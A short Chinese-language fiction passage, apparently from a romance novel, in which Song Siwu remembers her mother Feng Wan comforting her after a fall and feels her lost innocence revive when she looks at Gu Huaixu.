冯绾知道她要强,看见她摔得青一块紫一块的膝盖,也没数落她,边给她擦药边说,我们雾雾做的已经很好了,只是每个人的天赋不一样,不可能把每件事都做到最好,所以不用太在意别人的话,万事尽力就好。
宋司雾知道,妈妈是心疼她。
父母的离世带走了她一部分的稚气与天真,而这些东西在顾淮序面前似乎奇迹般地复苏了。
她凝视他的眼睛,看见沉郁黑眸里自己微小的倒影。
心底有一处地方开始哗然。
崩塌。
又重建。